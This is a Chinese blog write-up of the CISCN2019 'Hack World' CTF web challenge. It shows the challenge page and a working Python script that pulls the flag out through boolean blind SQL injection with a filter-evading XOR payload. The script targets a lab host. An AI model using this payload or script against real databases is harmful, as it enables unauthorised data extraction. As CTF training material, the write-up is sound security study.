[CISCN2019 华北赛区 Day2 Web1]Hack World

原创

夜幕下的灯火阑珊 于 2020-05-11 18:29:15 发布 96 收藏

分类专栏： sql注入 布尔盲注

本文链接：https://blog.csdn.net/qq_41628669/article/details/106060081

sql注入 同时被 2 个专栏收录

8 篇文章 0 订阅

订阅专栏

布尔盲注

1 篇文章 0 订阅

订阅专栏

知识点

- 布尔盲注

数字型布尔盲注，fuzz一下，发现过滤了空格和一些常用的东西

burpsuite fuzz时得到提示，flag在flag表的flag列中

```
<title>Hack World</title>
</head>
<body>
<h3>All You Want Is In Table 'flag' and the column is 'flag'</h3>
<h3>Now, just give the id of passage</h3>
<form action="index.php" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
bool(false)
```

```python
#coding:utf-8
import requests
import time

url = "http://90b6fa83-da9f-46ef-b585-b01631007685.node3.buuoj.cn"
res = ''
for i in range(1,51):
 print(i)
 left = 31
 right = 126
 mid = left + ((right - left)>>1)
 while left < right:
  payload = "1^(ascii(substr((select(flag)from(flag)),%d,1))>%d)"%(i,mid)
  data = {"id":payload}
  r = requests.post(url = url, data = data)
  #print(mid)
  if r.status_code == 429:
   print('too fast')
   time.sleep(1)
  if "Hello" not in r.text:
   left = mid + 1
  elif "Hello" in r.text:
   right = mid
  mid = left + ((right-left)>>1)
 res += chr(mid)
 print(str(mid),res)
```